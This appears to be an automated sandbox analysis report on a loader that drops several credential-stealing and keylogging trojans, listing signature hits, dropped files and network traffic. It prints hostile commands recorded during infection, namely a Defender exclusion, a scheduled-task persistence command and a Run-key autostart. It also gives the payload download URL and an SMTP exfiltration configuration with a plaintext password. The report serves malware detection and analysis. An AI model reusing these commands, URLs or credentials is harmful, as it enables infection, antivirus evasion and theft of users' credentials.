19.3.rpkhzpuO.pif.2e8737c8.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.32f70f08.10.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.rpkhzpuO.pif.2ea95570.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.rpkhzpuO.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
15.2.rpkhzpuO.pif.304e0000.11.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.319d3d90.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.PO_B2W984.com.24366a8.0.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
19.2.rpkhzpuO.pif.31995570.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
0.2.PO_B2W984.com.2dd0000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.PO_B2W984.com.24366a8.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
6.0.Microsofts.exe.800000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.0.Microsofts.exe.800000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.Microsofts.exe.800000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
6.0.Microsofts.exe.800000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x15423:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x14921:$a3: \Google\Chrome\User Data\Default\Login Data 0x14c2f:$a4: \Orbitum\User Data\Default\Login Data 0x15a27:$a5: \Kometa\User Data\Default\Login Data
6.0.Microsofts.exe.800000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x101cd:$a1: get_encryptedPassword 0x10509:$a2: get_encryptedUsername 0xff5a:$a3: get_timePasswordChanged 0x1007b:$a4: get_passwordField 0x101e3:$a5: set_encryptedPassword 0x11bb3:$a7: get_logins 0x11864:$a8: GetOutlookPasswords 0x11642:$a9: StartKeylogger 0x11b03:$a10: KeyLoggerEventArgs 0x1169f:$a11: KeyLoggerEventArgsEventHandler
15.3.rpkhzpuO.pif.2b733e10.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.rpkhzpuO.pif.2d5d3f56.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.rpkhzpuO.pif.2da40000.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
15.2.rpkhzpuO.pif.2ea96478.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.rpkhzpuO.pif.2da40f08.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.3.rpkhzpuO.pif.2761c6f8.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 51 entries

Sigma Signatures

System Summary

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\Desktop\PO_B2W984.com, ProcessId: 5980, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\rpkhzpuO.pif, CommandLine: C:\Users\Public\Libraries\rpkhzpuO.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\rpkhzpuO.pif, NewProcessName: C:\Users\Public\Libraries\rpkhzpuO.pif, OriginalFileName: C:\Users\Public\Libraries\rpkhzpuO.pif, ParentCommandLine: "C:\Users\user\Desktop\PO_B2W984.com" , ParentImage: C:\Users\user\Desktop\PO_B2W984.com, ParentProcessId: 5980, ParentProcessName: PO_B2W984.com, ProcessCommandLine: C:\Users\Public\Libraries\rpkhzpuO.pif, ProcessId: 5464, ProcessName: rpkhzpuO.pif

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\PO_B2W984.com, ProcessId: 5980, TargetFilename: C:\Windows \SysWOW64\svchost.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Oupzhkpr.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\PO_B2W984.com, ProcessId: 5980, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Oupzhkpr

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Libraries\Oupzhkpr.PIF" , ParentImage: C:\Users\Public\Libraries\Oupzhkpr.PIF, ParentProcessId: 3888, ParentProcessName: Oupzhkpr.PIF, ProcessCommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, ProcessId: 1420, ProcessName: cmd.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe, ParentProcessId: 1008, ParentProcessName: Trading_AIBot.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , ProcessId: 6640, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Oupzhkpr.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\PO_B2W984.com, ProcessId: 5980, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Oupzhkpr

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\rpkhzpuO.pif, CommandLine: C:\Users\Public\Libraries\rpkhzpuO.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\rpkhzpuO.pif, NewProcessName: C:\Users\Public\Libraries\rpkhzpuO.pif, OriginalFileName: C:\Users\Public\Libraries\rpkhzpuO.pif, ParentCommandLine: "C:\Users\user\Desktop\PO_B2W984.com" , ParentImage: C:\Users\user\Desktop\PO_B2W984.com, ParentProcessId: 5980, ParentProcessName: PO_B2W984.com, ProcessCommandLine: C:\Users\Public\Libraries\rpkhzpuO.pif, ProcessId: 5464, ProcessName: rpkhzpuO.pif

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe, ProcessId: 1008, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apihost.exe.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 20:52 /du 23:59 /sc daily /ri 1 /f, CommandLine: "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 20:52 /du 23:59 /sc daily /ri 1 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe, ParentProcessId: 1008, ParentProcessName: Trading_AIBot.exe, ProcessCommandLine: "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 20:52 /du 23:59 /sc daily /ri 1 /f, ProcessId: 7732, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe, ParentProcessId: 1008, ParentProcessName: Trading_AIBot.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , ProcessId: 6640, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T02:47:08.540332+0100	2028371	3	Unknown Traffic	192.168.11.20	49747	41.185.8.252	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T02:47:14.889412+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49748	132.226.8.169	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Avira: detection malicious, Label: TR/Dropper.Gen

Found malware configuration

Source: PO_B2W984.com	Malware Configuration Extractor: DBatLoader {"Download Url": ["https://lwaziacademy.com/wps/200_Oupzhkprnvw"]}
Source: 6.0.Microsofts.exe.800000.0.unpack	Malware Configuration Extractor: MassLogger {"EXfil Mode": "SMTP", "From": "server1@massmaesure.com", "Password": "london@1759", "Server": "lax029.hawkhost.com", "To": "server2@massmaesure.com", "Port": 587}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	ReversingLabs: Detection: 79%
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	ReversingLabs: Detection: 27%

Multi AV Scanner detection for submitted file

Source: PO_B2W984.com	ReversingLabs: Detection: 27%
Source: PO_B2W984.com	Virustotal: Detection: 36%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Joe Sandbox ML: detected
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: PO_B2W984.com

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Unpacked PE file: 15.2.rpkhzpuO.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Unpacked PE file: 19.2.rpkhzpuO.pif.400000.0.unpack

Source: PO_B2W984.com

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.11.20:49749 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 41.185.8.252:443 -> 192.168.11.20:49747 version: TLS 1.2

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb*Q source: rpkhzpuO.pif, 00000013.00000003.23152181055.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000003.23151187278.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000002.23186060889.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000003.23153094806.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbS source: rpkhzpuO.pif, 0000000F.00000003.23071203235.000000002B780000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000003.23070008388.000000002B780000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000003.23068650639.000000002B780000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: rpkhzpuO.pif, 0000000F.00000002.23109676776.000000002B721000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000002.23186060889.000000002E85C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: rpkhzpuO.pif, 0000000F.00000003.23070008388.000000002B780000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000003.23068650639.000000002B780000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000003.23152181055.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000003.23151187278.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000003.23153094806.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E7A0000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C10000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ECF0000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A20000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020C5D000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: rpkhzpuO.pif, 00000004.00000003.22965228435.000000002761C000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000002.23112425454.000000002DA40000.00000004.08000000.00040000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000003.23062543754.000000002B733000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000002.23114375641.000000002EA95000.00000004.00000800.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000002.23111776153.000000002D593000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000002.23188607246.0000000030743000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000002.23190771291.0000000032F70000.00000004.08000000.00040000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000003.23143070311.000000002E873000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000002.23190455309.0000000031995000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dows\symbols\dll\mscorlib.pdbS source: rpkhzpuO.pif, 0000000F.00000002.23109676776.000000002B780000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E7A0000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C10000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ECF0000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954746218.0000000021C19000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954746218.0000000021C48000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A20000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000003.23057348047.000000000082A000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000003.23057348047.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020C5D000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23136430949.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23136430949.00000000007C3000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\PO_B2W984.com

Code function: 0_2_02DD58B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_02DD58B4

Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Code function: 4x nop then jmp 02B07394h	5_2_02B07188
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Code function: 4x nop then jmp 02B077E4h	5_2_02B07590
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	5_2_02B07E60
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Code function: 4x nop then jmp 02B077E4h	5_2_02B07580
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	5_2_02B07E58
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 00EA9731h	6_2_00EA9480
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 00EA9E5Ah	6_2_00EA9A30
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 00EA9E5Ah	6_2_00EA9D87
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 0521873Bh	6_2_05218400
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 0521799Fh	6_2_052176F8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 0521A3A7h	6_2_0521A100
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 0521969Fh	6_2_052193F8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 05217547h	6_2_052172A0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 05219F4Fh	6_2_05219CA8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 05219247h	6_2_05218FA0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 0521824Fh	6_2_05217FA8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 052170EFh	6_2_05216E48
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 05219AF7h	6_2_05219850
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 05218DEFh	6_2_05218B48
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 05217DF7h	6_2_05217B50
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then mov esp, ebp	6_2_05216BB0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then mov esp, ebp	6_2_05216BC0

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://lwaziacademy.com/wps/200_Oupzhkprnvw

Source: C:\Users\user\Desktop\PO_B2W984.com

Code function: 0_2_02DEE2F0 InternetCheckConnectionA,

0_2_02DEE2F0

Source: global traffic

HTTP traffic detected: GET /xml/102.129.153.238 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 132.226.8.169 132.226.8.169

Source: Joe Sandbox View

ASN Name: GridhostZA GridhostZA

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49747 -> 41.185.8.252:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49748 -> 132.226.8.169:80

Source: global traffic	HTTP traffic detected: GET /wps/200_Oupzhkprnvw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: lwaziacademy.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.11.20:49749 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9

Source: global traffic	HTTP traffic detected: GET /wps/200_Oupzhkprnvw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: lwaziacademy.com
Source: global traffic	HTTP traffic detected: GET /xml/102.129.153.238 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002DA8000.00000004.00000800.00020000.00000000.sdmp

